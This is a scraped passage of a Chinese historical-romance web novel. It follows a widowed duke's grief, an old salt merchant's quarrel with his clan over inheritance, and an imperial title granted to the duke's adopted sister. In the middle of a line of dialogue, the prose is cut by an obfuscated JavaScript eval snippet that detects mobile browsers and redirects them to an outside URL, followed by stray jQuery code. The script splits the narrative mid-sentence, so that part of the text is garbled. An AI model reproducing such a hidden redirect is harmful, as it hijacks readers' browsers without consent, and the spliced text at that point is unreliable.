白滢婷听着常嬷嬷的话,想起了慕卿云与她的过往,又想起了那日看到盛瑾虚弱的样子,她的语气中带着一丝害怕,道:“奶娘说的是,是我魔障了,嫂嫂已经去了,我现在最应该担心的是哥哥和轩哥儿,尤其是哥哥,我瞧着哥哥这些天的样子,生怕他挺不过去就和嫂嫂一同去了,到时候我就真是对不住嫂嫂了。” 常嬷嬷听到白滢婷这么说,心里松了口气,语气中带着一丝安抚道:“姑娘莫要太过忧心,好在国公夫人还留有一子,为了孩子,国公爷也会挺过来的。” 常嬷嬷虽然面上是这么安慰白滢婷的,但她心里暗暗惋惜道:“国公夫人那般好的人啊!怎么年纪轻轻就走了,可怜国公爷和轩哥儿了,一个失去深爱的大娘子一个失去了母亲,尤其是国公爷,他心里怕是不好受啊!希望国公爷可以为了轩哥儿撑下去吧。” 第二天清晨,盛瑾将白滢婷叫到了自己的书房,拿出一封信递给白滢婷,语气中带着一丝虚弱,道:“这是你嫂嫂留给你的。” 慕卿云和盛瑾商讨过,为了不让白滢婷过多悲伤,慕卿云写了一封信给白滢婷,希望白滢婷能开开心心过日子,别因为她的死而伤心难过自责。 白滢婷将信封拆开,看完里面慕卿云留给她的话,眼泪止不住的流了下来,喃喃道:“嫂嫂,是我没用,让你走后还这么担心我。” 盛瑾看着泪流满面的白滢婷没有说什么,他知道白滢婷需要大哭一场来发泄一下自己的情绪,等白滢婷渐渐平静下来后,盛瑾才接着开口道:“云儿(慕卿云)希望婷儿你好好的,你若是过的好,她泉下有知也会感到高兴的。” 白滢婷眼中满是哀伤,有些哽咽道:“哥哥,你放心吧,我会向嫂嫂希望的那样好好的,我只希望哥哥你也好好的。” 盛瑾看着白滢婷,眼中闪过一丝悲伤,道:“婷儿你不用担心我,为了轩轩,我会好好的,那云儿留给我唯一的孩子。” 盛瑾说到这里,他眼神中闪过一丝坚定,道:“我日后是不打算续弦了,我心里除了云儿再也没办法容纳另一个女子。” 白滢婷对盛瑾的话没有反驳,毕竟她心里也不希望盛瑾续弦,让其他女子占了慕卿云的位置,因为她觉得世界上再也没有一个如慕卿云一般对她的嫂嫂了。 过了好一会儿,盛瑾拿出另一张纸递给白滢婷,继续道:“你嫂嫂留言,将自己嫁妆中的两箱首饰、三盒珍珠、三箱珍贵布料、两箱瓷器、两箱药材香料以及五万两黄金给你,这些天我就找人给你搬去你在汴州城的陪嫁宅子内。” 白滢婷看着手里的纸,眼泪又不由自主的留下来了,她哽咽道:“我怎么能拿嫂嫂的嫁妆呢?这些东西都是要留给轩轩的啊!” 盛瑾走到白滢婷面前,伸手将白滢婷的眼泪擦掉,轻声道:“婷儿莫哭了,你嫂嫂如果看到你这样子,肯定会心疼的,这是她的一片心意,你就收下吧,就当留个念想。” 白滢婷听完盛瑾的话,过了许久才点了点头,哽咽道:“哥哥 第 27 章 扬州城内白家,此时距离慕卿云去世已经有一年时间了,当时盛瑾和白滢婷是将慕卿云的后事办完后才给白老爷寄信告知此事,其目的就是怕白老爷再往汴州城跑一趟,毕竟白老爷岁数也不小了,盛瑾和白滢婷担心白老爷连夜赶路,导致劳累过度伤了身子。 当时白老爷得知慕卿云去世的消息十分难过,毕竟慕卿云这个媳妇在白老爷心目中是难得的好媳妇。 白老爷难过了一会儿后,又开始心疼起了盛瑾和盛长轩,尤其是盛长轩这个年幼丧母的孩子,让白老爷心疼不已,以至于这一年来白老爷派人给盛长轩送了不少好东西。 白老爷对于盛瑾不续弦的事情,不仅没有什么反对意见,心里还有些庆幸,毕竟世界上如同慕卿云这般疼爱白滢婷的嫂嫂实属少见,更何况有慕卿云这么好的原配做对比,无论盛瑾找谁做续弦在他们心里都比不过慕卿云的地位。 白老爷无法保证盛瑾续弦的继室会待白滢婷如慕卿云一般,他也不敢保证盛瑾的继室会不会嫉妒盛瑾待白滢婷这般好,毕竟盛瑾和白滢婷可没有血缘关系,谁知道这位继室会不会胡思乱想,从而在盛瑾面前抹黑白滢婷,他可不敢小瞧了枕头风的威力,再者,慕卿云留下的盛长轩年纪尚小,若是那继室有了儿子又对丰国公府爵位起了心思,天高皇帝远的,他没办法保护盛长轩,至于白滢婷,她是宁远侯府大娘子,不可能二十四小时都待在盛长轩身边,因此,白老爷给盛瑾的回信中只是让盛瑾照顾好自己和盛长轩。 不过,在慕卿云去世的消息传到扬州城后的一段时间里,白家来了不少扬州城有头有脸的人家,其中还不乏与白老爷交情不错的人,话里话外都是在探听盛瑾是否要续弦的消息,就算盛瑾求了皇帝的墨宝,也只能阻挡那些个要脸或是顾忌皇帝态度的高门大户,毕竟这些高门大户还是不想因为一个未知的女婿影响他们在皇帝心中的形象,可那些个不要脸的或是觉得皇帝不会管臣子续不续弦这种小事的人家,皇帝的一副墨宝可不能熄灭他们的心思。 在这些人家眼中盛瑾即使成了鳏夫也丝毫不影响他的婚姻市场,盛瑾才二十多岁就是从三品工部侍郎外加世袭国公,又有偌大家业在手,虽然已有一个嫡子在,但是自家姑娘嫁过去若生了儿子将来也能分到不少银钱,自己也能落得国公府的好处,何乐而不为呢,再者,谁能保证盛瑾的嫡长子可以平安长大呢,万一盛瑾嫡长子有个三长两短的,这爵位不就落到自家外孙手里了嘛,尤其是之前与盛瑾这个好女婿失之交臂的人家,此时更是鼓足了劲要将盛瑾这个好女婿拿回来。 这些个人家心里自欺欺人的想道:“盛国公此时不想续弦不代表以后不想续弦啊!毕竟盛国公还年轻力壮,身边哪能缺个知冷知热的人呢。” 白老爷对此十分恼怒,心里迁怒道:“我媳妇去世还没到一年,我们家这伤心劲还没过,你们这群人就恨不得瑾儿立刻娶了你家姑娘当继室或妾侍,这吃相也太难看了吧,这群黑心肝的,非要这时候往我们伤口上撒盐嘛。” 白老爷本着你不让我好过我也不让你好过的想法,他拉着每一位来到白家打探盛瑾消息的人哭诉着自己儿子媳妇之间的感情有多深,感叹着他们父子二人情路为什么都这么坎坷啊!听得来的人两耳起茧子,可偏偏他又不能反驳白老爷的话。 这些人家在白老爷这样一来二去的神操作中渐渐猜出了他的真实想法,便不在因为此事登白家大门了,其中有些小心眼的人家背地里恶狠狠道:“这白老爷也真是的,这盛国公夫人是他媳妇又不是他女儿,人都死了还要让她站着国公夫人的位置,我看啊!他是想将盛国公牢牢掌握在自己手中,自己都是盛国公的义父了,还不给我们成为盛国公亲家的机会,真真是自己吃肉连口汤也不给旁人喝啊!怪不得生意能做这么大呢,感情是吃独食啊!商贾的心果然都是黑的。” 白老爷对此毫不在意,毕竟他这个年纪除了儿女的事情之外什么都看淡了,他原先希望自己的儿女能幸福美满,可惜他的女儿嫁给了顾偃开这个铁石心肠的家伙,没有一点夫妻之间的恩爱,义子和媳妇倒是非常恩爱,只可惜媳妇英年早逝,夫妻二人阴阳相隔,现下他只希望盛瑾和白滢婷平平安安、顺顺利利的过完一生便好了,为此他每个月都要给道观捐一笔香油钱,平日里也开始多做些善事给盛瑾和白滢婷行善积德,连带着府中的下人们也受到白老爷的影响,日常外出与人交流都客客气气的,为此扬州城内开始渐渐传出白老爷是大善人之类的话。 清晨,白家来了三位不速之客,其中就有先前想将自家姑娘嫁给县令庶子的白老爷的堂兄妻子,还有白家三叔公和七叔公。 白老爷看着眼前哭哭啼啼的堂兄妻子,只觉得被她哭的脑袋疼,于是开口道:“堂嫂嫂有什么话就直接开口说,你这哭哭啼啼的,我也不知道发生了什么事情。” 白老爷的堂嫂嫂顿时跪倒在白老爷面前,大声哭喊道:“堂弟你救救我家三姑娘吧,救救她吧,她也是你的侄女啊!” 白老爷看着眼前跪倒在地的堂嫂嫂,顿感不妙,后腿了一步,用眼神示意一旁的丫鬟将她扶起后,他面不改色,道:“堂嫂嫂,有事好好说,没必要行此大礼。” 白老爷的堂嫂嫂被扶起后,听完白老爷的话,脸上的表情由悲伤转为愤怒,道:“都是你那杀千刀堂兄干的好事,当年他从你这里回去不久就给我家三姑娘说了一门亲事,他带来的媒婆说是给我家三姑娘找了汴州城中一户家境殷实人家,对方是家中的嫡幼子,我家姑娘嫁过去就是正妻,我瞧着那位媒婆说得这般好,便动了心思,随即带着自家姑娘前去相看,觉得那位公子长的不错,行为举止也是很知礼数,而且对方对我家姑娘也十分满意,再加上对方有事情急着回汴州城,于是我们便和对方马不停蹄的定了亲,接着他便带着我家三姑娘去了汴州城。” 白老爷的堂嫂嫂说到这里时,眼中闪过一丝恨意,道:“我本以为我家姑娘在汴州城过好日子呢,谁曾想前些日子你堂兄从汴州城回来后的一天,他从外面喝得酩酊大醉回来,在房间里大骂什么汴州城昌茂伯爵府姜家嫡幼子全他妈是假的,明明是个庶子,骗了我家姑娘,将人偷偷养在外面当外室,又不帮我办事情,说什么先前已经帮过一次了算是两清了,什么混账玩意啊!我是你岳父,你就应该帮我,还敢说不认识我,我那一百亩水田和一千两百真是喂了白眼狼了,我这才知道我家姑娘不是给人当正头大娘子而是给人当外室去了,怪不得我家姑娘嫁出去后没多久,他就做成了一笔买卖,回来乐滋滋说姑娘嫁的好,让他有了个好女婿,没曾想这笔买卖是拿我姑娘换的,堂弟,你想想办法,救救你那可怜的侄女吧。” 白老爷听完大跌眼镜,他能猜到他那位堂哥心高气傲,自己驳了他的面子,他难免想要将自家姑娘高嫁了夺回丢失的颜面,却怎么也没想到他会让自己的姑娘去给人家当外室,这简直是将白家姑娘的名声踩在脚下啊! 白老爷回过神来看了一眼一旁哭哭啼啼的堂嫂嫂,又看了一下脸色不太好的七叔公和三叔公,心里带着一丝警惕,道:“嫂嫂虽然我对侄女的遭遇感到同情,但我连昌茂伯爵府姜家是谁都不知道,你们想让我怎么救呢?” 白老爷将目光转移到了他的堂嫂嫂身上,面无表情,道:“堂嫂嫂,且不说我能不能救得回来你家三姑娘,你有没有想过就算我将她救回来,她给别人当外室的事情也成事实了,你能保证白家其他族人容得下她,别我前脚刚将人救回来,后脚她就命丧黄泉了。” 白老爷的堂嫂嫂听完,眼神死死地盯着在场的白家七叔公和三叔公,过了好一会儿,白家七叔公率先顶不住白老爷堂嫂嫂的死亡射线,开口道:“仲善啊!这件事情是你堂哥的错,可怜你侄女摊上这么个不着调的父亲,我们白家在汴州城无根无基的,想救人也没法子,你就不一样了,你姑娘是宁远侯府大娘子,女婿是未来侯爷,义子即是当朝从三品官员又是国公爷,就算是皇亲国戚也得卖他们几分薄面,现下我们只能靠你了,至于你说的救回来后人怎么安置。” 白家七叔公说到这里实在是不好意思开口,用眼神示意一旁的白家三叔公开口,于是白家三叔公硬着头皮开口道:“你堂哥先前不是想和你义子结为亲家嘛,虽然这门亲事没成,但到底他家三姑娘和你义子也算得上是有缘分,如若不然人救回来后直接给你义子当个妾侍如何呢?也算是积德行善了,而且你那义子不是有一个嫡长子嘛,他一个大男人怎么会照顾孩子呢,有个妾侍也能帮着照顾孩子不是嘛,再说了,婷儿有一个给人当外室的族妹,于她的名声也有碍啊!” 白老爷的堂嫂嫂闻言,目光转向白老爷,眼中充满祈求,显然她对这个提议是同意的,盛瑾家底富裕,即是国公爷又是从三品官员,若是嫁给盛瑾为妾,就没有人敢议论她家姑娘给人当外室的事情了。 白老爷被白家三叔公的无耻言论给气到了,铁青着脸,咬牙切齿道:“三叔公,我家瑾儿不是收破烂的,不要什么脏的臭的都往瑾儿那里塞,无论我那侄女是不是自愿的,她在别人眼中就是个外室,若是让人知道瑾儿纳了一个给人当外室的姑娘为妾,他在汴州城那些个人家眼中就是笑话了,更何况瑾儿和我那逝世的媳妇感情深厚,为了她都不愿意续弦了,你让我和瑾儿说纳妾的事情,你将我置于何地啊!再者,你们说让一个妾侍扶养国公府嫡长子,这不仅是让瑾儿成为笑话,连带着我那可怜的孙儿也会成为汴州城的笑话,谁家孩子养在妾侍身边的,更何况是嫡长子。” 白老爷说到这里,不顾他的堂嫂嫂愤怒的目光,死死地盯着白家七叔公和三叔公,道:“你们那点子心思不要以为我不知道,若是瑾儿真的因为我答应了纳妾的事情,以你们的贪婪一定会借此扒拉着瑾儿不放的,更何况我那侄女还有个不着调的父亲,我家瑾儿还没有闲到给自己找麻烦的程度。” 白老爷将目光再次转向他那愤怒的堂嫂嫂,脸上带着严肃的表情,道:“堂嫂嫂,自家孩子自家心疼,你为你家姑娘着想,我也要为我家瑾儿着想,我近来是做了些善事,但是我还不至于拿我家孩子去行善积德,再说了,我早就被白家除族了,我这一脉在礼法上和白家真没多大关系,我若愿意帮你们白家,那是顾着些许血脉亲情,若是不愿意,那也是应当的,别想用什么婷儿的名声来威胁我,反正传出去丢的是你们白家的面子,又不是我扬州盐商白家的面子。” 在场的白家族人脸都青了,尤其是白家七叔公和三叔公,他们没想到白老爷竟然一点面子都不给他们,气得他们想要对白老爷破口大骂,但是他们想到这些年白老爷对白家族人日渐冷淡,连原先交给他们白家族人的一些生意也渐渐收回了,瞧着是要和他们分个清清楚楚啊!若是此时再惹怒白老爷并不划算,更何况现在最重要的是将人救回来,要不然,她母亲闹出去白家的名声就彻底完了。 白家七叔公和三叔公之所以会和白老爷的堂嫂嫂一起来,就是因为白老爷的堂嫂嫂威胁他们若是不将她姑娘救回来,她就让全天下的人都知道白家男人干的这些腌臜事,她这一副同归于尽的样子,吓得白家族老连夜将白老爷的堂哥抓起来严刑拷问,而那天和白老爷的堂哥喝酒之人的嘴也被他们用银子封住了,之所以提出让盛瑾纳这位姑娘为妾,不仅仅是因为这是一个好办法,也是想试探试探白老爷的底线,看看能不能扒上盛瑾这个前途无量的国公爷。 白家七叔公扯着笑脸,赔笑道:“仲善,瞧你说的,我们是一家人,那能说两家话啊!只要仲善你愿意出手相助,你什么要求我们都答应。” 白老爷不想和白家族人再有过多的纠缠,他沉思了一会儿,对着在场白家族人直接开门见山道:“我实话和你们说了,自从你们当初为了霸占我家的家产,将我与母亲除族赶走后,我就从未想过要再次回到白家,先前是为了婷儿才选择和你们重新联系,对你们多方忍让,可惜你们的所作所为让我失望透顶了,好在上天待我不薄,让我有了瑾儿这么一个优秀的义子,婷儿日后也算是有了依靠了,我今儿就和你们挑明了,你们就不要妄想谋夺我的家产了,我会将这些东西全部留给瑾儿和婷儿。”毕竟在古代除族对于一个古人而言简直是奇耻大辱啊! 白家三叔公闻言,勃然大怒,随即大声呵斥道:“白仲善,你怎么敢将我们白家的家产交给一个姑娘和义子,谁给你的胆子啊!” 白老爷冷笑道:“三叔公,我为什么不敢,这些家产都是我被除族后挣得的,就算告上衙门,我都是有理的,更何况我已经将三分之一的家产转给了瑾儿了,若是你们把我惹毛了,我立马就将剩下的家产全转给婷儿瑾儿,到时候你们什么也得不到。” 白老爷的想法很简单,如今有盛瑾在,他对白滢婷的未来没有任何担忧,若是白家族人再妄图动盛瑾和白滢婷,他就立马将家产全部转给白滢婷和盛瑾,即使是他一半的家产也不是顾家能比得上的,若是白滢婷的儿子将来不孝顺,白滢婷也能紧紧的握着银子过日子,无需看他人脸色,他现在只想看着自己这对儿女好好过日子,旁人如何他是不想再管了。 白家三叔公没想到白老爷会来这一手,一时间竟无言以对了,毕竟白老爷说的是事实,若是闹上衙门去,他们真就拿白老爷没法子了,正如白老爷所说,白滢婷如今有盛瑾当靠山,白家族人对于白老爷而言可有可无的,更何况现在不是白老爷离不开白家族人,而是白家族人需要白老爷。 白家七叔公、三叔公就这样僵持了好一会儿,他们此时此刻也确定了白老爷真的打定主意,放弃白家族人了,过了好一会儿,白家七叔公打破平静,开口道:“仲善,你有什么要求提出来吧。” 白家三叔公想要出口阻止白家七叔公,可是他看到白家七叔公对他摇了摇头,便将想要说的话给咽了回去。 白老爷听完白家七叔公的话,思考了片刻,道:“第一,我希望你们白家族人没有什么事情就不要来找我,更不能越过我去找婷儿和瑾儿,第二,我不管你们用什么办法绝了我那几位堂哥想要过继子嗣给我的心思,如果你们做到以上这两点,我个人出三千亩水田、五间铺子以及五千两白银充做白家祖产。” 白家三叔公听完,眼中闪过一丝贪婪,道:“仲善,你是扬州城有名的盐商,家产在扬州城也算得上是数一数二了,就这么点东西就想让我们妥协嘛,也太没有诚意了吧。” 白老爷脸上的表情没有丝毫变化,道:“三叔公,你不要太过分了,三千亩水田和五间铺子每年收入在六千五百两左右,这些不算少了,若是你们不要,我大可以闹上衙门,反正说出去我也是有理的,如今我家婷儿已经嫁人生子了,就是我和你们对簿公堂名声受损一些,顾家也不会为了这点子事休了已经给他们生下两个儿子的婷儿。” 白家七叔公此时出言,道:“仲善,你可以不多给我们田产铺子,但是你要给我们一万五千两白银,婷儿有儿子,你那位国公爷义子也有儿子,他 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|51xs|n|shop|8573507|71292||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 们未来还是要娶妻生子的,若是你名声受损,难保他们亲事不会艰难,不是嘛。” 白家族老们之所以帮着白老爷的堂哥们不过也是为了他们给的好处,如今白老爷和他们撕破脸皮了,若是他们还是帮着白老爷的堂哥们到时候真的是竹篮打水一场空啊!还不如现下收了白老爷的好处缓和一下,毕竟若是他们真的闹到衙门去也不得理,到时候白老爷的名声有没有损失他们不知道,可他们白家夺孤儿寡母家产的事情传出去,白家姑娘哥儿们就别想嫁或娶到好人家的哥儿姑娘了。 白老爷眼神中闪过一丝冷意,嘲讽道:“七叔公真是做了一手好买卖啊!我瞧着你才是经商的人才啊!我同意你的提议,不过我要白家全族族老立下字据,七叔公什么时候将字据送来,我就什么时候将东西给你们,至于找回我那可怜侄女的事情,等你们送字据过来后,我便会动身前往汴州城,算是全了我和你们的一点血脉之情吧。” 白家七叔公听到白老爷这么说,皮笑肉不笑道:“如此便麻烦仲善了,我们这就回去准备你要的东西,这样你也能尽早出发。” 白家三叔公等白家七叔公说完便拂袖离去了,好似在多待一会儿白家会沾染晦气一般,一旁的白家七叔公和白老爷的堂嫂嫂则紧随其后离开了白家。 几天后,白老爷接到了白家七叔公送来的字据,他不清楚白家七叔公用了什么方法这么快就让白家全族族老同意了,当然,他也不想了解白家族人之间的事情,等他将准备好的田产铺子银子交给白家七叔公后,他突然感觉自己一下子就变轻松了,此时他才发现自己一直对白家族人有芥蒂,只不过为了白滢婷,为了名声才多加忍让白家族人,现下他和自己达成了和解。 白老爷想清楚后,心情一下子就愉悦了许多,他让管家快点去准备船只,等他堂兄家的三姑娘找到后,他与白家族人之间就再也没有什么纠葛了。 另一边的丰国公府中来了一位农户正在和盛瑾汇报粮种的情况,这个粮种是盛瑾先前让农户种下的,现下正好拿来向皇帝给白滢婷求个恩典,至于粮种的来源,盛瑾也想好了借口应付皇帝。 次日皇宫内,盛瑾便向皇帝进献了粮种,他脸上带着严肃的表情,介绍道:“陛下,此粮种名为红薯,一般分为春薯和夏薯,春薯一般是春天种植,亩产量在3500公斤左右,夏薯一般在夏天种植,亩产量2500公斤左右,最主要的是红薯里面有许多营养物质,而且它的含糖量达到15%-20%,非常适合百姓们种植和食用。” 皇帝听了盛瑾说这么多,有些词他并不知道是什么,但是这不妨碍他知道红薯产量高,有营养,最主要是甜,百姓们好接受。 皇上看了盛瑾好一会儿,脸上带着一抹微笑,道:“盛爱卿不愧是朕亲封的丰国公啊!这才多久就又给朕带来了一个粮种,当真是上天给朕的良将啊!” 盛瑾当即跪下,眼中闪过一丝哀伤,道:“陛下,臣愧不敢当啊!这粮种乃是我家大娘子从海外带回来的,因着本朝在陛下的治理下国泰民安,所以她一直没有想起这回事,直到她感觉自己撑不下去了,又想着臣的义妹难产的事情,便想在自己的嫁妆中找些东西给臣的义妹伴身用,于是她在自己嫁妆中找来找去就只找到了这个粮种和两个方子。” 盛瑾说到这里时,眼角划过一抹泪水,从袖子中取出几张纸递给皇帝,道:“她在弥留之际嘱咐臣将粮种种下,待实验成功后,将粮种和两个方子交给陛下,以求陛下庇佑一下臣的义妹。” 皇帝闻言接过盛瑾手中的几张纸,仔细打量起了这些纸上的内容,等他看完后也知道这上面记录着白盐和白糖的制作方法,按照这两个方子来制造白盐和白糖,不仅提高白盐和白糖的产量,还降低了盐和糖的生产成本,能当皇帝的都不是一般人,他瞬间就想到了这两个方子可以让百姓买到价格更低、质量更好的盐和糖,从而控制本朝的盐价和糖价,加强百姓们对他的忠诚,可以更好的凝聚民心。 皇帝手里紧紧的抓着这几张纸,目光一直停留在盛瑾身上,他从未怀疑过盛瑾会说谎,毕竟从他调查的结果中可以看出盛瑾和慕卿云有多疼爱白滢婷,而白滢婷难产的内幕自然也瞒不过他,慕卿云在弥留之际为自己待如亲子的白滢婷谋求一个庇护也是人之常情。 皇帝静静的看着盛瑾,过了好一会儿,他才开口道:“爱卿的大娘子有这种想法也是人之常情,朕也是一位父亲,自然能理解爱卿与其大娘子的心情,朕心里大为感动,为了全爱卿的大娘子一份心意,朕便将爱卿的义妹封为端淑县主吧。” 盛瑾闻言刚要跪下谢恩时,皇帝抬手阻止了他,接着道:“爱卿先别急着谢恩,爱卿的大娘子给朕送来了一份大礼,朕单单给爱卿的义妹一个虚衔有些不足,可是爱卿的大娘子已经去世了,朕给她再多的封赏也无用,不如这样吧,这两个方子收益的一成归爱卿所有,直到爱卿的嫡长子去世后收回。” 皇帝让盛瑾在其中占一成利润,无疑是告诉盛瑾,他在自己心中的地位十分重要,也打算将盛瑾牢牢地掌握在手中,毕竟盛瑾在皇上眼里是个能人,谁也不知道盛瑾还能拿出多少好东西来,所以皇帝必须让盛瑾坚定不移的站在自己这边。 盛瑾明白皇帝的意思,当即跪下,语气中带着一丝坚定,道:“臣谢陛下赏赐,臣一心为天下黎民百姓、为陛下尽心尽力。” 盛瑾本来就无法拒绝皇帝的要求,毕竟在这个朝代权利最大的就是皇帝,他清楚的知道以自己的功绩除非叛国,要不然谁都动不了他,但他和皇帝是君臣关系,只要他不是疯了,就知道无论如何都不能得罪皇帝。 皇帝听着盛瑾的话,眼中闪过一丝满意,接着又和盛瑾聊起了一些家常,过了许久才放盛瑾出宫了。 盛瑾出宫后便急忙赶回府中修书一封,让府中的下人给白滢婷送去,让白滢婷对皇帝的封赏有个心理准备。 等白滢婷接到盛瑾的信件看完后,强忍着泪水让除了常嬷嬷外的丫鬟们都下去,将信件递给常嬷嬷后,她一时之间不知道该如何表达自己的心情,慕卿云对她真的太好了,好到她不知道该说什么。 白滢婷一想到已经去世的慕卿云,眼泪止不住的流了下来,她再也无法扑倒慕卿云怀中表达自己的感激之情,只能哽咽道:“奶娘,我想嫂嫂了。” 常嬷嬷接过白滢婷手中的信件看完后,心中一片震惊,她没想到慕卿云在弥留之际还再为白滢婷打算,以至于在慕卿云去世后白滢婷还能得到她的恩惠。 常嬷嬷比任何人都知道这个县主之位意味着什么,有了这个县主之位,别人不会再嘀咕白滢婷盐商之女的身份,而白滢婷的两个孩子也不会被人以盐商之女的儿子为由嘲笑,谁也不能再拿白滢婷的身份说事了。 常嬷嬷在心里感慨道:“姑娘有国公夫人这般好的嫂嫂真是三生有幸啊!唉,可惜啊!国公夫人这般好的人却英年早逝了。” 常嬷嬷看着泪流满面的白滢婷,一时之间竟然不知道如何安慰白滢婷,只能静静的等待白滢婷发泄完情绪后,安抚道:“姑娘,国公夫人在天之灵不会想看到你如此伤心难过的,莫要辜负了国公夫人的一番心意。” 白滢婷沉默了许久,微微点了点头,常嬷嬷随即便去找来了丫鬟,让丫鬟给白滢婷端水洗漱了一番。 白滢婷经过一番洗漱打扮后,任谁也看不出她哭过的痕迹,当她再次出来时,又变回了那个端庄大气侯府大娘子的模样。 第 28 章 清晨,宁远侯府迎来了一道封白滢婷为端淑县主的圣旨,不仅是顾家人被这道圣旨给震惊到了,连带着汴州城中那些高门大户也被皇帝这道莫名其妙的圣旨给整蒙圈了,毕竟白滢婷又没见过皇帝,就算顾偃开有什么功绩也不可能是封白滢婷为县主啊! 不过这些汴州城的高门大户大多都是人精,没过多久就反应过来将目光放到了盛瑾身上,他们在好奇心的驱使下打听了有光白滢婷被封为县主的内幕,很快就得到白滢婷这个县主之位是已经去世的慕卿云给她挣来的,这时候他们才真正认识到了慕卿云和盛瑾到底有多宠爱白滢婷,心里也开始掂量与白滢婷交际的分寸了,因此白滢婷在参加宴会时,不少女眷都对她热情了许多,这就是后面的事情了。 白滢婷刚送走那些个宣读圣旨的人,转头就看到顾偃开的脸色有些许难看,不知道他心里在想些什么,不过,她没有在意顾偃开的心情,随即和顾侯夫妇说明了这次封赏的原因。 顾偃开和顾家其他人自然也听到了白滢婷的话,顾偃开的脸色随着白滢婷的解释好了一些,比起白滢婷的县主之位是由盛瑾挣来的,他更能接受县主之位是慕卿云带给白滢婷的,但是无论如何他都感到有些许的难堪,白滢婷的县主之位好像在无时无刻的提醒着他,慕卿云和盛瑾从始至终都没将宁远侯府的爵位放在眼中,他们能给白滢婷比起宁远侯府大娘子更贵重的身份,这就像是直接在他脸色上扇了一巴掌一样,当然,脸色难看的不止顾偃开一人,还有顾家五房太太,她此时此刻恨不得将帕子搅碎了,偏偏又碍于顾侯夫妇现下心情正好,不能去触顾侯夫妇的霉头,只能咬着牙恭喜白滢婷。 顾侯夫妇恐怕是顾府中真心为白滢婷封县主之事感到开心的人了,原因无外乎就是白滢婷封县主之位会给顾家门楣争光,虽说白滢婷是盛瑾的义妹,但到底她盐商之女的身份还是没有什么改变的。 无论是顾侯夫妇,还是白滢婷,乃至顾家其他人都知道汴州城中的人家明面上没有人说什么,但是私底下还是嘲笑顾家为了银钱娶盐商之女,如今白滢婷成了县主相当于一个阶级身份的跨越。 白滢婷和顾侯夫妇聊了一会儿,便以要去丰国公府和盛瑾报喜为由离开了,顾家其他人也各自回到自己的院子了,五房太太回到自己的院子后,看着丫鬟给自己端上来的茶,心里的怒气再也压不住了,随即拿起茶杯摔在地上,大声斥责道:“这么烫,你是想要烫死我吗?啊!” 那个端茶的丫鬟闻言赶紧跪下,连连求饶道歉,过了好一会儿,五房太太气愤道:“给我滚出去,没用的东西。” 五房太太此言一出,那个端茶的丫鬟连忙起身退了出去,只留下五房太太和她的心腹在房中,此时她再也没有顾忌的怒骂道:“她白滢婷一个盐商之女怎么配得上县主之位啊!她怎么配,还有那盛国公夫人是不是瞎了眼了,拿一个没有血缘的小姑子当亲生的一般对待,居然还给她谋一个县主之位,她是不是忘了自己还有个亲儿子呢,简直是里外不分,活该她年纪轻轻就走了。” 五房太太气得牙根痒痒,道:“真是老天不长眼啊!怎么什么好处都让她白滢婷得了啊!今天我瞧着她那得意劲就恨不得上去撕了她,什么东西啊!那日要不是婆婆护着她,就她那么说我,我非得上去撕了她不可,平日里装着一副端庄大气的样子,花重金给顾廷煜找了个夫子,瞧着是疼爱继子,呵,若是真疼爱,怎么不让盛国公去教导顾廷煜,什么夫子能比得过盛国公那三元及第的状元郎啊!也不知道公公婆婆被她灌了什么迷魂汤,居然一个劲的夸她贤惠,呵,就她那样和贤惠搭得上边嘛。” 五房太太的心腹看着一脸气愤的五房太太,开口安抚道:“大娘子莫要生气了,气坏了自己的身子不值当啊!” 五房太太闻言,咬着牙道:“我能不气嘛,只要想起那日的事情,我就气得不行,我不过是提了一嘴亲事,她白滢婷居然这么羞辱我,不行,我得想个法子让她不好过。” 五房太太的心腹听到五房太太的话,轻声劝说道:“大娘子,你莫要找白大娘子的麻烦,前不久,四房那位大娘子因着煊哥儿中秀才的事情和白大娘子走的十分亲近,顾侯夫妇为此也对白大娘子十分满意,如今白大娘子又得了县主之位,大娘子若是这个时候找白大娘子的麻烦,恐怕顾侯夫妇不会轻易放过大娘子的。” 五房太太眼中闪过一丝怒火,道:“怕什么,就公公婆婆那身子骨还有几年好活的,再说了,我好歹给顾家生了两个儿子,他们能为了一点小事休了我不成,我就是要给白滢婷找点事情恶心她。” 五房太太说到这里,眼中闪过一丝算计,道:“听说大哥哥对顾廷煜比顾廷烨还要好啊!不知道顾廷烨心里是怎么想的啊!她白滢婷不是一碗水端平,想要顾廷煜和顾廷烨、顾廷炜之间和睦相处嘛,可惜啊!大哥哥那边可是一碗水端不平啊!你去找人在顾廷烨身边说道说道这件事情。”最后一句显然是在吩咐她的心腹找人在顾廷烨身边说顾廷煜的坏话。 五房太太的心腹眼中闪过一丝为难,道:“大娘子,白大娘子那院子里都是她从丰国公府带来的人,我们没法子动手啊!再者,白大娘子也是未来侯府的女主人,若是让她知道了我们这么做,恐怕大房会和我们交恶啊!” 五房太太一脸恼怒,道:“那就去找能接进她院子的女使或是小厮,我就不信了,她白滢婷的院子就真是铁桶一般,实在不行就从顾廷煜那边入手,至于和大房交恶,我才不怕呢,未来顾家到底是大哥哥做主,以大哥哥那个性子,他能真的不管我家官人嘛,更何况是妇人之间的打闹,又没伤到大房任何一个哥儿的性命,我怕什么啊!” 五房太太的心腹见劝不住五房太太,只能想办法去完成五房太太的任务了,只是五房太太的计划到底没有成功,这也是后话了,不过,此时被五房太太惦记着的白滢婷正在丰国公府抱着盛长轩与盛瑾感谢一番后闲聊了起来。 白滢婷看着眉眼与慕卿云有几分相似的盛长轩,心里止不住的思念起了慕卿云,又看向如今精气神不错的盛瑾,心里感慨道:“若是嫂嫂还在,那么哥哥嫂嫂和轩轩一家三口该有多幸福甜蜜啊!” 白滢婷不想提起盛瑾的伤心事,只能道:“哥哥又是忙碌公务又是照顾轩轩的,真是多有劳累啊!可惜我不能将轩轩接到宁远侯府去,要不然也能给哥哥搭把手。” 